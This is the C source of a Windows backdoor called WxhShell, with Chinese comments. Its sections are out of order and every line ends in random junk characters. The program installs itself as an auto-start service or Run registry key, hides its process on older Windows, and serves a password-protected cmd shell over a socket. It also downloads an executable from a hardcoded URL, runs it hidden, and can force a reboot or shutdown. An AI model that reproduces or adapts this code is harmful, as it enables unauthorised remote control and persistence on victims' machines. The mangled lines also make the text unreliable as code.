    if(Boot(SHUTDOWN)) N1"p ;czK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M>xT\  
    else { @^GI :z  
    closesocket(wsh); s\p 1EL(  
    ExitThread(0); @U@O#+d'ZR  
    } '*^9'=  
    break; $F NH:r<  
    } )Br#R:#  
  // 获取shell V Ds0+RC  
  case 's': { q/ (h{cq  
    CmdShell(wsh); N 6> rU  
    closesocket(wsh); n3j_=(  
    ExitThread(0); lgZ9*@d  
    break; -)xl?IB%  
  } x,|fblQz  
  // 退出 oTrit_@3  
  case 'x': { pCC^Hxa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #^(Yw|/K  
    CloseIt(wsh); 5rmQ:8_5  
    break; ^f9@ =I  
    } 9$D}j"  
  // 离开 dI>cPqQ  
  case 'q': { q_98=fyE6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \S&OAe/b  
    closesocket(wsh); Zr=B8wuT  
    WSACleanup(); |<O^M q  
    exit(1); W8r"dK  
    break; <$d2m6J  
        } v6Wz:|G/u  
  } m/,80J8L+f  
  } <j/wK]d*/  
J #jFX F\  
  // 提示信息 #2"'tHf4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JSmg6l?[u  
} DLD9  
  } ,_s.amL3O{  
C6h[L  
  return; :qzh kKu  
} Q)lD2  
_dW#[TCF  
// shell模块句柄 #{#k;va  
int CmdShell(SOCKET sock) Ro4!y:2|  
{ MZxU)QW1  
STARTUPINFO si; '=xO?2U-Z  
ZeroMemory(&si,sizeof(si)); 72_+ b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g^7zDU&'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qq3/K9 #y  
PROCESS_INFORMATION ProcessInfo; ?%#no{9  
char cmdline[]="cmd"; ]&9=f#k%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R%q:].  
  return 0; salDGsW^  
} jbUg?4k!  
LC$M_Cpw  
// 自身启动模式 hpYv*WH:  
int StartFromService(void) m)?0;9bt  
{ X*w;6 V  
typedef struct XB B>"  
{ 3Bvz& `\  
  DWORD ExitStatus; K9yZG  
  DWORD PebBaseAddress; J<4_<.o(a  
  DWORD AffinityMask; wXZ9@(^  
  DWORD BasePriority; W~a|AU8]C  
  ULONG UniqueProcessId;  WFhppi   
  ULONG InheritedFromUniqueProcessId; 9W_mSum  
}   PROCESS_BASIC_INFORMATION; qnnRS  
94|ZY}8|f  
PROCNTQSIP NtQueryInformationProcess; W]_a_5  
H K J^6|'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l*huKSX}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eVB43]g  
}2:q#}"  
  HANDLE             hProcess; dLeos9M:  
  PROCESS_BASIC_INFORMATION pbi; XKDX*x G  
[2>zaag  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9I$} =&"  
  if(NULL == hInst ) return 0; :eT\XtxM~{  
fY?:SPR+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EyA(W;r.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B&y?Dc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r!w*y3  
% tC[q   
  if (!NtQueryInformationProcess) return 0; 3gD <!WI  
V~Z)^.6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XD|Xd|/ {  
  if(!hProcess) return 0; uEG4^  
5e1oxSU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gpcordt/  
PR x-0S  
  CloseHandle(hProcess); &; p}HL,  
g1_z=(i`Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?^MH:o  
if(hProcess==NULL) return 0; 6@3v+Vf'  
*uP;rUY  
HMODULE hMod; !'IZr{Y>  
char procName[255]; g_k95k3V'  
unsigned long cbNeeded; X+<9 -]=  
%e)vl[:}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /~7M @`1  
W$&*i1<a+  
  CloseHandle(hProcess); w5rtYT I  
DMs8B&Y=  
if(strstr(procName,"services")) return 1; // 以服务启动 z4` :n.  
u$aN~6HG  
  return 0; // 注册表启动 SG&H^V8  
} f)gV2f0t  
yx6^ mis4  
// 主模块 `[XH=-p  
int StartWxhshell(LPSTR lpCmdLine) 0;,Y_61  
{ ;=E}PbZt2  
  SOCKET wsl; HZS.%+2  
BOOL val=TRUE; m^0 I3;  
  int port=0; R/Sm  
  struct sockaddr_in door; [u J<]  
[D(JEO@ :  
  if(wscfg.ws_autoins) Install(); V$;`#J$\b  
e6qIC*C!  
port=atoi(lpCmdLine); rg#/kd<?[V  
zQt)>Qx_  
if(port<=0) port=wscfg.ws_port; !{ _:k%B  
AW9%E/{  
  WSADATA data; DT6 BFx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rM6S%rS  
{{[@ X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z|Xt'?9&n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z0D&ayzkh^  
  door.sin_family = AF_INET; T nyLVIP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dVGcth;  
  door.sin_port = htons(port); Z=%u:K}[  
'%:E4oI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1rU\ !GfR  
closesocket(wsl); B6\/xKmv?8  
return 1; S$R=!3* "V  
} JHVndK4L  
Wf%)::G*uR  
  if(listen(wsl,2) == INVALID_SOCKET) { /X#OX 8gb]  
closesocket(wsl); W?.xtQEv  
return 1; mz;ExV16  
} 5GPAt  
  Wxhshell(wsl); 5H 1x-b  
  WSACleanup(); <S;YNHLC  
XRyeEwA;pp  
return 0; m9jjKu]|  
;i+(Q%LO  
} `Pwf?_2n-  
2)n%rvCQ  
// 以NT服务方式启动 Gz8JOl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LUz`P6  
{ y^kC2DS   
DWORD   status = 0; a{%EHL,F  
  DWORD   specificError = 0xfffffff; U~c9PqjZ  
R iV]SgV 9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $[J\sokpY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; je>gT`8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @wP.Rd  
  serviceStatus.dwWin32ExitCode     = 0; irjHPuhcG  
  serviceStatus.dwServiceSpecificExitCode = 0; A,= R`m  
  serviceStatus.dwCheckPoint       = 0; BP4vOZ0$  
  serviceStatus.dwWaitHint       = 0; ?o/p}6  
ilQ\+xR{b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a"1LF`  
  if (hServiceStatusHandle==0) return; mt e3k=17  
,c;#~y  
status = GetLastError(); *|0W3uy\Y  
  if (status!=NO_ERROR) Z vyF"4QN  
{ *0'{ n*>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WFS6N.Ap  
    serviceStatus.dwCheckPoint       = 0; %VXIiu[  
    serviceStatus.dwWaitHint       = 0; ~wGjr7Wt  
    serviceStatus.dwWin32ExitCode     = status; /\1Q :B3W  
    serviceStatus.dwServiceSpecificExitCode = specificError; "e29j'u!*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wc~9zh  
    return; E!I4I'  
  } .Dr7YquW  
v yP_qG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; td#m>S  
  serviceStatus.dwCheckPoint       = 0; +yHzp   
  serviceStatus.dwWaitHint       = 0; +,D82V7S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WCp[6g&%O  
} }ASBP:c"t  
kll ,^A  
// 处理NT服务事件,比如:启动、停止 /T 6Te<68^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'XSHl?+q  
{ !yV)EJ:$  
switch(fdwControl) 15DlD`QV  
{ {>brue*)  
case SERVICE_CONTROL_STOP: dQ<e}wtg  
  serviceStatus.dwWin32ExitCode = 0; x}reeqn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0nlh0u8#  
  serviceStatus.dwCheckPoint   = 0; z:{R4#(Q  
  serviceStatus.dwWaitHint     = 0; tfe'].uT  
  { Z@Qf0 c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O9{A)b!HB  
  } 8R;E+B{  
  return; ({!*&DVu  
case SERVICE_CONTROL_PAUSE: ab6D&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ];0:aSi#  
  break; EkN>5).  
case SERVICE_CONTROL_CONTINUE: gJzS,g1]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kaCn@$  
  break; W*4!A\K  
case SERVICE_CONTROL_INTERROGATE: er!+QD,EM  
  break; 7G_lGV_  
}; Aca ?C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Z[kvXf"mZ  
} ):Ekf2  
s: MJ{r(s  
// 标准应用程序主函数 $5>x)jr:w+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,z0E2  
{ :!,.c $M  
81wmKqDEs  
// 获取操作系统版本 eA/}$.R  
OsIsNt=GetOsVer(); a6o p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -ktYS(8&  
WxF@'kdn*,  
  // 从命令行安装 T9'5V@  
  if(strpbrk(lpCmdLine,"iI")) Install(); %,)Xi  
 q0\$wI  
  // 下载执行文件 Q@UY4gA '  
if(wscfg.ws_downexe) { q{)Q ?E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %E2C4UbY  
  WinExec(wscfg.ws_filenam,SW_HIDE); .>( qZEF  
} <^8OYnp  
?Ye%k  
if(!OsIsNt) { ]O+Nl5*  
// 如果时win9x,隐藏进程并且设置为注册表启动 sF#t{x/sW  
HideProc(); ;!>>C0s"  
StartWxhshell(lpCmdLine); /3~}= b  
} sZU Ao&  
else tLx8}@X"  
  if(StartFromService()) ]}A yDy6C  
  // 以服务方式启动 v8A{ q  
  StartServiceCtrlDispatcher(DispatchTable); QOF'SEq"k  
else E __A1j*gd  
  // 普通方式启动 83"C~xe?p4  
  StartWxhshell(lpCmdLine); E`uK7 2j  
/s`xPxvt  
return 0; 3-2?mV>5  
} C6b(\#g(  
B&H [z  
TC'^O0aZ_  
N;e*eMFE  
=========================================== 1) G6  
.s@[-! p  
#.\X% !  
N" oJ3-~  
DzCb'#   
ymyk.#Z<%  
" !^A t{[U  
6~q"#94  
#include <stdio.h> H\e<fi%Q  
#include <string.h> HLM"dmI   
#include <windows.h> I~Z m**L  
#include <winsock2.h> BH=C  oD.  
#include <winsvc.h> z3-AYQ.H  
#include <urlmon.h> u\G\KASUK%  
w+ tO@  
#pragma comment (lib, "Ws2_32.lib") fBt7#Tc=U  
#pragma comment (lib, "urlmon.lib") j-etEWOTr  
GEi^3UD  
#define MAX_USER   100 // 最大客户端连接数 &rxR"^x\  
#define BUF_SOCK   200 // sock buffer zX/9^+p:  
#define KEY_BUFF   255 // 输入 buffer 3836Di:{  
,cFp5tV$  
#define REBOOT     0   // 重启 (tP^F)}e5  
#define SHUTDOWN   1   // 关机 rW3fd.;kss  
nyB~C7zR  
#define DEF_PORT   5000 // 监听端口 $rE_rZ+]="  
_26F[R1><~  
#define REG_LEN     16   // 注册表键长度 ktKT=(F&  
#define SVC_LEN     80   // NT服务名长度 hC =="4 -  
x;R9Gc[5  
// 从dll定义API <$ Ar*<,6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yf6&'Y{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \(bML#I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jVu3!{}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ?2b9N~  
uJ$!lyJ6L  
// wxhshell配置信息 /1lUFL2D  
struct WSCFG { D}Lx9cL  
  int ws_port;         // 监听端口 Ws`P(WHm  
  char ws_passstr[REG_LEN]; // 口令 1cdM^k  
  int ws_autoins;       // 安装标记, 1=yes 0=no -.E<~(fad  
  char ws_regname[REG_LEN]; // 注册表键名  `#lNur\x  
  char ws_svcname[REG_LEN]; // 服务名 ToVm]zPOUt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _ #+~#U%5n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5q?ZuAAA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b=+'i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?o9g5Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,9p 4(jjX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p`JD8c  
jM90 gPX>,  
}; y(8AxsROp  
,tL<?6_  
// default Wxhshell configuration [?hc.COE  
struct WSCFG wscfg={DEF_PORT, dLm~]V3  
    "xuhuanlingzhe", =6TD3k6(2  
    1, L%JmdY;  
    "Wxhshell", &a p{|>3  
    "Wxhshell", j>Htaa  
            "WxhShell Service", ^1S(6'a#  
    "Wrsky Windows CmdShell Service", ~$i36"  
    "Please Input Your Password: ", 7 0:a2m  
  1, BUcze\+  
  "http://www.wrsky.com/wxhshell.exe", e;<=aa)}?  
  "Wxhshell.exe" !285=cxz  
    }; wvA@\-.+  
amIG9:-1'  
// 消息定义模块 v >71 ?te  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i1 ?H*:]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iVt6rX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >LwZ"IE V  
char *msg_ws_ext="\n\rExit."; T)]5k3{  
char *msg_ws_end="\n\rQuit."; Pz1pEyuL  
char *msg_ws_boot="\n\rReboot..."; 2, ` =i  
char *msg_ws_poff="\n\rShutdown..."; [L,Tf_t^Y  
char *msg_ws_down="\n\rSave to "; ,r{\aW@  
/AP@Bhm  
char *msg_ws_err="\n\rErr!"; F"3PP ~  
char *msg_ws_ok="\n\rOK!"; oToUpkAI  
@%K@oDL  
char ExeFile[MAX_PATH]; (&FSoe/!['  
int nUser = 0; Cv|ya$}a  
HANDLE handles[MAX_USER]; r"a0!]n  
int OsIsNt; gYx|Na,+  
Y zSUJ=0/  
SERVICE_STATUS       serviceStatus; 8|w_PP1oE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iP;X8'< BC  
hX]vZR&R  
// 函数声明 `bffw:; %  
int Install(void); =LS?:Mhm  
int Uninstall(void); jyf[O -  
int DownloadFile(char *sURL, SOCKET wsh); Qd 1Q~PBla  
int Boot(int flag); ]dc^@}1bN  
void HideProc(void); A\_cGM2  
int GetOsVer(void); 2hl'mRW  
int Wxhshell(SOCKET wsl); 5~CHj  
void TalkWithClient(void *cs); 0I4RZ.2*Y  
int CmdShell(SOCKET sock); a="Z]JGk  
int StartFromService(void); !~cTe!T  
int StartWxhshell(LPSTR lpCmdLine); iU\WV  
%J?;@ G)r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |?SK.1pW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -U(T  
< Vr"  
// 数据结构和表定义 |Gb"%5YD  
SERVICE_TABLE_ENTRY DispatchTable[] = x5k6yHn  
{ % ^g BDlR^  
{wscfg.ws_svcname, NTServiceMain}, Y0=qn'`.  
{NULL, NULL} /z*?:*  
}; _YY:}'+  
*?K3jy{  
// 自我安装 hp!UW  
int Install(void) `ej  
{ 2;NIUMAMM  
  char svExeFile[MAX_PATH]; v"Fa_+TVx  
  HKEY key; GmB7@-[QA%  
  strcpy(svExeFile,ExeFile); 6yKr5tH4  
6e$(-ai  
// 如果是win9x系统,修改注册表设为自启动 wGE:U`  
if(!OsIsNt) { Aq}]{gfQ1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _mKO4Atw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 67Z|=B !7  
  RegCloseKey(key); q3B#rje>h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  [ottUS@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |<P]yn  
  RegCloseKey(key); `AeId/A4n  
  return 0; `(<XdlOj  
    } u<./ddC  
  } 9. Q;J#;1  
} (t1:2WY@  
else { 1"009/|   
 cpp0Y^  
// 如果是NT以上系统,安装为系统服务 xCD|UC46?X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [XjJsk,  
if (schSCManager!=0) <*~vZT i(  
{ Q i#%&Jz>f  
  SC_HANDLE schService = CreateService Z16G  
  ( f7}/ {}g  
  schSCManager, Z}TuVE  
  wscfg.ws_svcname, <P7f\$o~  
  wscfg.ws_svcdisp, &C<B=T"I  
  SERVICE_ALL_ACCESS, |_8- 3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,2/qQD n/  
  SERVICE_AUTO_START, a1B_w#?8  
  SERVICE_ERROR_NORMAL, 0n|op:]BHM  
  svExeFile, bN@V=C3  
  NULL, ZkkXITQkPM  
  NULL, @kn0f`  
  NULL, ^)conSm  
  NULL, 5V4Ze;K  
  NULL z,[4 BM  
  ); 900#K   
  if (schService!=0) 0~Ot  
  { i2/:' i  
  CloseServiceHandle(schService); Zh]d&Xeq  
  CloseServiceHandle(schSCManager); Glcl7f"<^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &xMR{:  
  strcat(svExeFile,wscfg.ws_svcname); ={-\)j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0F6^[osqtl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~xpU<Pd*  
  RegCloseKey(key); hV])\t=yf  
  return 0; G0Smss=K  
    } E8u :Fg s  
  } }9 N, +*  
  CloseServiceHandle(schSCManager); \1hbCv$Hf  
} u{yENZ^P  
} [ /w{,+U  
cHs@1R/-s  
return 1; $R%xeih1fz  
} 2Otd  
W)ihk\E  
// 自我卸载 sH(4.36+  
int Uninstall(void) r.0IC*Y  
{ Q\ TawRK8  
  HKEY key; /<vbv  
3:X3n\z  
if(!OsIsNt) { m+||t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >xws  
  RegDeleteValue(key,wscfg.ws_regname); gEbe6!; q3  
  RegCloseKey(key); a H'iW)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QpwOrxI}  
  RegDeleteValue(key,wscfg.ws_regname); {$)zC*l  
  RegCloseKey(key); r5> FU>7'  
  return 0; oE[wOq +  
  } j<>E Fd  
} #ok1qT9_  
} A&rk5y;  
else { O7 %<(  
&duWV6Acw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "qjkw f)\  
if (schSCManager!=0) 'Ar+k\.J  
{ ^&buX_nlO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,y>,?6:>  
  if (schService!=0) I3]-$  
  { ?*|AcMw5  
  if(DeleteService(schService)!=0) { im|( 4 f  
  CloseServiceHandle(schService); #\[h.4i  
  CloseServiceHandle(schSCManager); a,tzt ]>  
  return 0; lfp[(Ph)9  
  } &[$qA  
  CloseServiceHandle(schService); eRc+.m[  
  } Qyvn A|&  
  CloseServiceHandle(schSCManager); C']TO/2q  
} z^$DXl@)h  
} Yb\t0:_  
wl1i @&9  
return 1; htX;"R&  
} DW&%"$2  
CRf!tsj@  
// 从指定url下载文件 F]DRT6)  
int DownloadFile(char *sURL, SOCKET wsh) W~(@*H  
{ 8TGO6oY+=  
  HRESULT hr; kIhP 73M  
char seps[]= "/"; GOuBNaU {  
char *token; U>?q|(u  
char *file; }kzGuNj  
char myURL[MAX_PATH]; 9W88_rE'e}  
char myFILE[MAX_PATH]; ".A+'pJ  
yoiKt; S  
strcpy(myURL,sURL); 0YK`wuZGS  
  token=strtok(myURL,seps); =NLsT.aa  
  while(token!=NULL)  al/Mgo  
  { 9o5W\.A7[D  
    file=token; %Z9&zmO  
  token=strtok(NULL,seps); .'N:]G@!  
  } {\z&`yD@  
|C}n]{*|  
GetCurrentDirectory(MAX_PATH,myFILE); 07 [%RG  
strcat(myFILE, "\\"); "} =RPc%9  
strcat(myFILE, file); V}gP'f07zy  
  send(wsh,myFILE,strlen(myFILE),0); BK`NPC$a  
send(wsh,"...",3,0); @v{lH&K:;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &J(+XJM%  
  if(hr==S_OK) 6/_] |4t  
return 0; IX@g].)C  
else 81Ixs Qt  
return 1; 3SI:su  
jej|B#?`  
} `2N&{(  
u"eO&Vc  
// 系统电源模块 8w1TX [b  
int Boot(int flag) pa4,W!t  
{ [P~6O>a5p  
  HANDLE hToken; "c5C0 pK0  
  TOKEN_PRIVILEGES tkp; ZI.;7G@|  
ZS&>%G  
  if(OsIsNt) { ETU.v*HT]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {p3VHd#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /]7FX"  
    tkp.PrivilegeCount = 1; CR8a)X4j#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {6H%4n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GP=i6I6C  
if(flag==REBOOT) { |m{Q_zAB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8 Z|c!QIU  
  return 0; qYpuo D   
} M]9oSi  
else { I#lvaoeN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YDh6XD<Z  
  return 0; }xhat,9  
} 5'iJN$7  
  } mBW E^  
  else { oVi_X98R  
if(flag==REBOOT) { 2y6@:VxSh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T.ZPpxY  
  return 0; ">pW:apl%  
} BCnf'0q  
else { T'YHV}b}vX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kg@D?VqJP  
  return 0; x1H?e8  
} MtE18m "z  
} :(IP rQ  
BC!n;IAe  
return 1; MV8Lk/zd?A  
} ifA=qn0=}  
cfZG3 "  
// win9x进程隐藏模块 KKMzhvf]#  
void HideProc(void) epz'GN]V  
{ tF:'Y ~3 p  
J6m`XC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -anLp8G*  
  if ( hKernel != NULL ) BP f;!.  
  { Y)D~@|D,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `v2]Jk<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4a'O#;h o  
    FreeLibrary(hKernel); DGfhS`X  
  } *qx<bY@F  
/48W]a}JS  
return; %cIF()  
} z^(6>U ?  
O[nl#$w  
// 获取操作系统版本 .-kqt^Gc  
int GetOsVer(void) PqOy"HO  
{ 5<0d2bK$  
  OSVERSIONINFO winfo; \)?mIwo7~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L|sWSrqd  
  GetVersionEx(&winfo); aFkxR\x 6%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <9za!.(zu  
  return 1; OBF3)L]  
  else }h+_kRQ  
  return 0; TWv${m zE  
} 79.J`}#  
]>utLi5dX  
// 客户端句柄模块 iU)-YFO  
int Wxhshell(SOCKET wsl) D+ki2UVt&  
{ NW-l_]k  
  SOCKET wsh; >v4k_JX  
  struct sockaddr_in client; GPqF>   
  DWORD myID; V<} ^n  
9&'I?D&8  
  while(nUser<MAX_USER) , N :'Z  
{ ,gU%%>-_~w  
  int nSize=sizeof(client); | ?6wlf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tE)%*z@<Lt  
  if(wsh==INVALID_SOCKET) return 1; B x(+uNQ  
)p.+39]{2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >M` swEj  
if(handles[nUser]==0) Kd_WN;l  
  closesocket(wsh); )G(6=l*  
else ^V^In-[!y:  
  nUser++; =hV-E D  
  } V/j]UK0$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a S- rng  
0Sz&Oguv  
  return 0; +uPN+CgQ@  
} Z_%}pe39B  
DSwF }  
// 关闭 socket h]Zc&&+8{  
void CloseIt(SOCKET wsh) $s2-O!P?  
{ Z$R2Z$f  
closesocket(wsh); D3^[OHi~a  
nUser--; Df_W>QC  
ExitThread(0); 1SBc:!2  
} _/[n/"gn  
l<<G". ?  
// 客户端请求句柄 1B3,lYBM  
void TalkWithClient(void *cs) mB(*)PwZ  
{ B0c}5V  
'-#6;_ i<  
  SOCKET wsh=(SOCKET)cs; +n(H"I7cU  
  char pwd[SVC_LEN]; ,2>:h"^  
  char cmd[KEY_BUFF]; b("JgE`  
char chr[1]; YY I  
int i,j; $ Z;HE/ 3  
<$liWAGX\  
  while (nUser < MAX_USER) { 5iola}6  
< %Qw dEO  
if(wscfg.ws_passstr) { >qA5   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i_GE9A=h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1A23G$D  
  //ZeroMemory(pwd,KEY_BUFF);  =erA.u  
      i=0; Vvx(7p-GQ  
  while(i<SVC_LEN) { $"{V],:T |  
ADX}  
  // 设置超时 XA])<dZ  
  fd_set FdRead; 3&*0n^g  
  struct timeval TimeOut; rL URP2~  
  FD_ZERO(&FdRead); y? [*qnPj  
  FD_SET(wsh,&FdRead); T[)) ful  
  TimeOut.tv_sec=8; 0:G@a&Lr  
  TimeOut.tv_usec=0; 1at$_\{.(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fm}O,=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tYfhKJzGC  
k?Jzy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }wR)p  
  pwd=chr[0]; :Puv8[1i  
  if(chr[0]==0xd || chr[0]==0xa) { hBsjO3n  
  pwd=0; whNRUOK:  
  break; ZP)=2'RY  
  } dh/:H/k kR  
  i++; (Cp:NS  
    } M O5fu!  
K! /E0G&  
  // 如果是非法用户,关闭 socket ./<3jf :  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;lGa.RD[a  
} p)ZlQ.d#Y  
^F?H)[0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jn\\,n"6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JXj`  
^ +{ ~ ^y7  
while(1) { 7\ff=L-b  
}VR&*UJE  
  ZeroMemory(cmd,KEY_BUFF); M _U$I7  
BHj]w*Ov  
      // 自动支持客户端 telnet标准   RqHxKj  
  j=0; J=K3S9:n]g  
  while(j<KEY_BUFF) { j<deTK;.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b&~uK"O'7d  
  cmd[j]=chr[0]; #Mbt%m  
  if(chr[0]==0xa || chr[0]==0xd) { !^axO  
  cmd[j]=0; #bu`W!p}  
  break; mKpUEJ<a  
  } k5-mK{RZ  
  j++; .M>u:,v  
    } RAE|eTnna  
Q X@&~  
  // 下载文件 j{_MDE7N  
  if(strstr(cmd,"http://")) { M/V >25`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +G/~v`Bv  
  if(DownloadFile(cmd,wsh)) 3"[ KXzn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s* 9tWSd  
  else <i`EP/x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bf;IJ|v^  
  } 56<LMY|d  
  else { zm8m J2s  
%aw/Y5  
    switch(cmd[0]) { tDN-I5q  
  !y] Y'j  
